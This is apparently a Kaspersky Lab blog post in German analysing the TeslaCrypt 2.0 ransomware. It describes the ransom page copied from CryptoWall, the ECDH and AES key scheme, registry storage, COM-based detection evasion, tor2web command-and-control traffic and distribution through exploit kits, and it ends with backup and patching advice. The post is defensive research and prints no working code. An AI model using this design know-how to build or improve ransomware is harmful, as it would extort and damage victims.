cve-2015-2410
cve-2015-2411
cve-2015-2412
cve-2015-2413
cve-2015-2414
cve-2015-2415
cve-2015-2416
cve-2015-2417
cve-2015-2419
cve-2015-2421
cve-2015-2422
cve-2015-2424
cve-2015-2425

TeslaCrypt 2.0 im Gewand von CryptoWall


  Fedor Sinitsyn       14 Juli 2015 | 14:02  MSK

Ihr Kommentar  

Inhalt

Die Familie der Dateien verschlüsselnden Erpressersoftware TeslaCrypt ist eine relativ neue Bedrohung, die ersten Exemplare wurden erst im Februar 2015 entdeckt. Seither zieht der Schädling als „Schrecken der Computergamer“ wie ein Unwetter durch die Massenmedien, da er gezielt eine Vielzahl von Dateien infiziert, die mit Computerspielen in Zusammenhang stehen (Speicher, Nutzerprofile usw.). Im Visier des Trojaners standen User in den USA, Deutschland, Spanien und anderen Ländern, einige Dutzend Infektionsversuche wurden zudem in Russland registriert.

TeslaCrypt befindet sich noch immer in der aktiven Entwicklungsphase: Innerhalb der letzten Monate hat der Schädling sein Äußeres verändert, den Namen, den er seinen Opfern präsentiert (der Schädling tarnte sich als CryptoLocker, trat unter den Namen TeslaCrypt und AlphaCrypt auf), die Erweiterungen der verschlüsselten Dateien (.ecc, .ezz, .exx) sowie andere Details in der Umsetzung.

Vor kurzem hat Kaspersky Lab die neuste Version des Trojaners entdeckt - TeslaCrypt 2.0. Diese Version unterscheidet sich von ihren Vorgängern zum einen durch ein deutlich verbessertes kryptografisches Schema, auf Grund dessen es zum gegenwärtigen Zeitpunkt unmöglich ist, die von TeslaCrypt betroffenen Dateien zu entschlüsseln, und zum anderen durch eine Abkehr von dem GUI zugunsten einer HTML-Seite, die zudem von einem anderen Trojaner kopiert wurde, nämlich Cryptowall.

Die Produkte von Kaspersky Lab detektieren Vertreter der Familie TeslaCrypt als Trojan-Ransom.Win32.Bitman. Die neuste Version des Trojaners, die Thema des vorliegenden Artikels ist, wird als Trojan-Ransom.Win32.Bitman.tk detektiert, ihre MD5-Hash lautet: 1dd542bf3c1781df9a335f74eacc82a4

Evolution der Bedrohung

Jedes Sample von TeslaCrypt enthält eine interne Version des Schädlings. Die erste von uns entdeckte Version hatte die Nummer 0.2.5, ihr grafisches Interface, die Fensterüberschrift eingeschlossen, war einem anderen erpresserischen Verschlüsselungsprogramm entliehen, und zwar CryptoLocker.

TeslaCrypt 0.2.5

Doch bereits mit Version 0.4.0 hatten die Entwickler vonTeslaCrypt das Äußere des Schädlings komplett verändert.

TeslaCrypt 0.4.0

Doch unabhängig von der Version bleiben die folgenden Merkmale der Familie unverändert:

  • Der Trojaner generiert selbst eine neue eindeutige Bitcoin-Adresse und einen dazugehörigen privaten Schlüssel. Die Adresse wird gleichzeitig als ID des Opfers verwendet sowie für den Empfang der Lösegeldzahlung des Opfers.
  • Für die Verschlüsselung der Daten wird der Algorithmus AES-256-CBC verwendet, alle Dateien werden mit einem Schlüssel chiffriert.
  • Nicht verschlüsselt werden Dateien, die größer sind als 0x10000000 Byte (~268 MB).
  • Die C&C-Server sind im Netz Tor untergebracht, die Kommunikation mit ihnen erfolgt über öffentliche tor2web-Services.
  • Unter den zu verschlüsselnden Dateien sind viele Erweiterungen, die Dateien von Computerspielen zugeordnet werden.
  • Der Trojaner löscht die Schattenkopien.
  • Ungeachtet der „Horrorstorys“ über RSA-2048, die dem Opfer demonstriert werden, wird dieser Algorithmus im Code in keiner Weise angewendet.
  • Der Trojaner ist in C++ programmiert, durch einen Microsoft-Compiler zusammengesetzt und die Umsetzung der kryptografischen Algorithmen ist einer OpenSSL-Bibliothek entnommen.

Interessante Fakten

  • Die frühen Versionen von TeslaCrypt (0.2.5 – 0.3.x) haben selbstständig überprüft, ob auf der Website http://blockchain.info eine Zahlung in Bitcoin eingegangen ist. Im Erfolgsfall berichtete der Schädling dem Steuerungsserver darüber und erhielt daraufhin den Schlüssel zur Dechiffrierung der Dateien. Dieses Schema ist angreifbar, da es einem Spezialisten ermöglicht, selbst eine solche Anfrage an den C&C-Server zu richten und auch ohne Zahlungseingang den geheimen Schlüssel zu erhalten.
  • Die Versionen 0.2.5 – 0.3.x verwahrten den Dechiffrierungsschlüssel (zusammen mit anderen Daten) in einer eigenen Dienstdatei key.dat. Der Bereich mit dem Schlüssel wurde in dieser Datei erst nach Abschluss der Verschlüsselung mit Nullen gelöscht, wodurch es möglich war, den Schlüssel zu speichern, wenn die Arbeit des Verschlüsselungsprogramms unterbrochen wurde (beispielsweise durch Abschalten des PCs). Danach konnte der Schlüssel aus der Datei key.dat entnommen werden, um alle Dateien zu dechiffrieren.
  • In der Version 0.4.0 wurde die Datei key.dat in storage.bin umbenannt und der Dechiffrierungsschlüssel wurde nicht in offener Form gespeichert, sondern nach dem Modul des Systems der standardmäßigen elliptischen Kurve secp256k1 umgewandelt. Nach Abschluss der Verschlüsselung wurde der Schlüssel nicht mit Nullen gelöscht, sondern mit zufälligen Bytes, doch solange dieser Bereich nicht gelöscht ist, kann man den Schlüssel trotzdem extrahieren – das wurde auch in unserem Tool RakhniDecryptor umgesetzt.

Heute

Vor kurzem erregte ein Sample dieses Trojaners mit der internen Versionsnummer 2.0.0 unsere Aufmerksamkeit – was hatte sich wohl dieses Mal geändert?

Als Erstes sprang uns ins Auge, dass der Code aus TeslaCrypt verschwunden war, der für die Darstellung der GUI (Grafische Benutzeroberfläche) verantwortlich ist. Anstelle dessen zeigt der Trojaner nach der Verschlüsselung nun im Browser eine HTML-Seite an, die von einem anderen weit verbreiteten Erpresserprogramm kopiert wurde – CryptoWall 3.0.

Die Seite, die sich mit einem Klick auf den dem Opfer angebotenen Link öffnet, imitiert vollständig die Bezahlseite von CryptoWall, doch selbstverständlich führt die angezeigte URL auf einen Server von TeslaCrypt – die Autoren dieses Trojaners haben eindeutig nicht die Absicht, das Geld ihrer Opfer der Konkurrenz zu überlassen.

TeslaCrypt füllt eine Zeile mit Text über CryptoWall

Wozu diese Maskerade? Hier können wir nur raten: Möglicherweise wollten die Cyberkriminellen ihre Opfer auf diese Weise von dem Ernst der Lage überzeugen. Denn die Dateien lassen sich nach einer „Behandlung“ mit CryptoWall bis heute nicht entschlüsseln, was man von vielen Infektionsfällen mit TeslaCrypt nicht behaupten kann.

So oder so, das ist nicht die einzige Veränderung, die die neue Version von TeslaCrypt bereithält. Wieder einmal wurde das kryptografische Schema weiterentwickelt, was zur Folge hat, dass es nun noch „aufgemotzter“ ist. Bei der Generierung der Schlüssel wird der Algorithmus ECDH angewendet (die Cyberkriminellen haben ihn in den Versionen 0.3.x eingeführt), doch im Gegensatz zu vorherigen Versionen scheint er jetzt eher angebracht zu sein, da er einem bestimmten Zweck dient – er ermöglicht es den Cybergangstern Dateien zu entschlüsseln und dabei nur den „Master-Key“ zu benutzen. Doch alles schön der Reihe nach.

Kryptografisches Schema von TeslaCrypt 2.0

Erzeugung von Schlüsseldaten

Der Trojaner verwendet zwei Schlüssel-Sets: „Masterschlüssel“, die innerhalb eines infizierten Systems einmalig sind, und „Sitzungsschlüssel“, die bei jedem Neustart des Schädlings im System neu generiert werden.

Erzeugung der Master-Keys

Q sei die standardmäßige elliptische Kurve secp256k1 („SECG Kurve über einem 256-Bit-Primkörper“), und G sei das bildende Element der zyklischen Untergruppe der Punktgruppe auf der Kurve.

malware_pub sei der im Körper des Trojaners enthaltene offene Schlüssel der Cyberkriminellen (er ist ein Punkt auf der Kurve Q und wird in Form der Koordinaten x, y gespeichert).

Bei der Infektion eines Systems erzeugt der Trojaner Folgendes:


  • install_id – Infektions-ID – willkürliche 8 Byte.
  • master_btc_priv – geheimer Masterschlüssel – zufällige 32 Byte; wird an den C&C-Server geschickt.
  • master_btc_pub = master_btc_priv * G (Punkt auf der Kurve) – öffentlicher Masterschlüssel; wird in verschlüsselten Dateien gespeichert.
  • btc_address – Bitcoin-Adresse zum Erhalt der Lösegeldzahlung – wird mit einem Standard-Bitcoin- Algorithmus auf Grundlage von master_btc_pub generiert.
  • master_ecdh_secret = ECDH(malware_pub, master_btc_priv) – „allgemeiner Masterschlüssel“, wird für die Dechiffrierung benötigt, wenn master_btc_priv verloren gegangen oder nicht beim C&C angekommen ist; in dieser Form wird er nirgends gespeichert.
  • master_ecdh_secret_mul = master_ecdh_secret * master_btc_priv – Zahl, die die Wiederherstellung von master_btc_priv ermöglicht; wird im System gespeichert.

Anwendung
master_btc_priv (in Übereinstimmung mit dem Bitcoin-Funktionsprinzip) – das ist der private Schlüssel, der unerlässlich ist, um die Bitcoins „abzuheben, die an die frisch erstellte Adresse btc_address geschickt wurden.

Erzeugung von Session-Keys

Bei jedem Start (bei der Erstinfektion oder beispielsweise nach einem Neustart des Computers) generiert der Trojaner immer wieder aufs Neue:

  • session_priv – privater Sitzungsschlüssel – willkürliche 32 Byte. Er wird für die Verschlüsselung der Dateien verwendet und nirgends gespeichert.
  • session_pub = session_priv * G – öffentlicher Sitzungsschlüssel. Wird in verschlüsselten Dateien gespeichert.
  • session_ecdh_secret = ECDH(master_btc_pub, session_priv) – „allgemeiner Sitzungsschlüssel“ – unerlässlich für die Entschlüsselung der Dateien, wird in dieser Form nirgends gespeichert.
  • session_ecdh_secret_mul = session_ecdh_secret * session_priv – Zahl, die die Wiederherstellung von session_ecdh_secret ermöglicht. Wird in verschlüsselten Dateien gespeichert.

Im System gespeicherte Schlüsseldaten

Im Gegensatz zu früheren Versionen verwendet TeslaCrypt 2.0.0 zur Speicherung von Daten nicht key.dat oder storage.bin. Stattdessen wird die Registry benutzt: In HKCU\Software\msys\ID wird der Wert install_id gespeichert, und in HKCU\Software\<install_id>\data ist die folgende Struktur untergebracht:

In der gewohnten Syntax der Sprache C lässt es sich folgendermaßen beschreiben:

Und so sieht das in einem infizierten System aus:

Verschlüsselung der Dateien

Beginnend mit Version 0.3.5 infiziert TeslaCrypt sowohl normale Speichermedien, die an das System angeschlossen sind, als auch alle verfügbaren Dateiressourcen (shares), selbst wenn sie nicht als Festplatte mit eigenem Buchstaben installiert sind. Übrigens können sich einige Verschlüsselungsprogramme einer solchen Funktionalität rühmen.

Jede Datei wird mit dem Algorithmus AES-256-CBC mit dem Schlüssel session_priv verschlüsselt. Die chiffrierte Datei erhält die zusätzliche Erweiterung “.zzz”. Am Anfang der Datei wird eine Dienststruktur platziert, darauf folgt der verschlüsselte Inhalt. Das Format der Struktur:

Dieselbe Struktur in der Syntax der Sprache C:

Entschlüsselung der Dateien

Die Autoren von TeslaCrypt 2.0.0 haben die Funktion zur Dechiffrierung der Dateien komplett aus dem Schädling entfernt, die in den vorhergehenden Versionen noch vorhanden war. Ausgehend von der Analyse des oben vorgestellten kryptografischen Schemas, sehen wir folgende Algorithmen zur Entschlüsselung der Dateien:

  1. wenn master_btc_priv bekannt ist, muss:

    • aus der verschlüsselten Datei session_pub ausgelesen werden;
    • session_ecdh_secret = ECDH(session_pub, master_btc_priv) berechnet werden;
    • session_ecdh_secret_mul aus der verschlüsselten Datei gelesen werden;
    • session_priv = session_ecdh_secret_mul / session_ecdh_secret berechnet werden;
    • die Datei mit dem Schlüssel session_priv dechiffriert werden.
  2. Gibt es keine master_btc_priv, doch malware_priv ist bekannt (ist nur den Cyberkriminellen bekannt, die im Körper des Trojaners entsprechend malware_pub platziert haben), muss/müssen:

    • Aus der Registry oder aus der verschlüsselten Datei master_btc_pub ausgelesen werden;
    • master_ecdh_secret = ECDH(master_btc_pub, malware_priv) berechnet werden;
    • aus der verschlüsselten Datei master_ecdh_secret_mul ausgelesen werden;
    • master_btc_priv = master_ecdh_secret_mul / master_ecdh_secret berechnet werden;
    • mit dem Wissen von master_btc_priv die Schritte aus Punkt eins durchgeführt werden.

Um das Geschehen vollständig zu verstehen, ist es wünschenswert, sich mit dem Diffie-Hellman-Algorithmus vertraut zu machen und seiner Version für die elliptische Kurve, ECDH, zum Beispiel hier.

Weitere Besonderheiten

Umgehung der Erkennung

Im Trojaner wird eine Technik zur Umgehung der Erkennung benutzt, die auf der Anwendung von COM-Objekten basiert. Wir entdeckten sie zum ersten Mal in TeslaCrypt Version 0.4.0, doch seither war sie geringfügigen Veränderungen unterworfen. Der von einem Sample der Version 2.0.0 generierte Pseudocode sieht folgendermaßen aus:

Kommunikation mit dem Steuerungsserver

Das Sample des Trojaners enthält eine statische Liste mit den Adressen der C&C. Die Server selbst befinden sich im Netz Tor, doch die Kommunikation wird über das gewöhnliche web mit Hilfe von tor2web-Diensten umgesetzt.

Bis zu TeslaCrypt der Version 0.4.1 wurden Anfragen an den Server in offener Form verschickt, in den folgenden Versionen wurden sie mit dem Algorithmus AES-256-CBC verschlüsselt; als Schlüssel wird die SHA256 von einer statischen Zeile aus dem Körper des Schädlings genommen.

Die Bildung der HTTP-Anfrage, die vom Trojaner bei der Infektion des Systems versendet wird, ist auf dem Screenshot des Pseudocodes dargestellt.

Verbreitung

Es wurde beobachtet, dass die Schädlinge aus der Familie TeslaCrypt mit Hilfe der Exploit-Packs Angler, Sweet Orange und Nuclear in Umlauf gebracht werden. Bei diesem Verbreitungsschema geht das Opfer auf eine infizierte Websites und der Schadcode des Exploits, das eine Sicherheitslücke im Browser ausnutzt, (am häufigsten solche in Plugins), installiert im System die eigentliche Ziel-Malware.

Geografische Verteilung der von Schädlingen der Familie TeslaCrypt angegriffenen Anwender

Empfehlungen

Zum Schutz ihrer Daten vor Verschlüsselungsprogrammen empfehlen wir, Sicherheitskopien aller wichtigen Dateien zu erstellen. Die Kopien sollten regelmäßig gemacht und auf Datenträgern gespeichert werden, die nicht zum Schreiben zur Verfügung stehen, außer direkt beim Erstellen der Sicherheitskopie. Für Heimanwender bedeutet das also, dass sie die Kopie auf einer externen Festplatte speichern, die sofort nach Fertigstellung des Backups physisch vom Rechner getrennt wird.

Von immenser Wichtigkeit ist es zudem, die auf dem System laufende Software rechtzeitig zu aktualisieren (insbesondere Plugins für den Browser und den Browser selbst), da die Hersteller ständig neu entdeckte Sicherheitslücken schließen, die von Cyberkriminellen ausgenutzt werden könnten.

Wenn es einem Schädling trotzdem einmal gelingen sollte, ins System einzudringen, so hilft ein Antiviren-Produkt mit aktuellen Datenbanken und aktivierten Schutzmodulen, ihn zu stoppen. Das betrifft besonders das proaktive Schutzmodul, das im Fall von 0-Day-Bedrohungen die letzte Verteidigungslinie darstellt.


Nach oben  |  Archiv >>

 

Copyright © 1996 - 2015
Kaspersky Lab
Industry Leading Antivirus Software
Alle Rechte vorbehalten
 

Email: webmaster@kaspersky.com
Datenschutzbestimmungen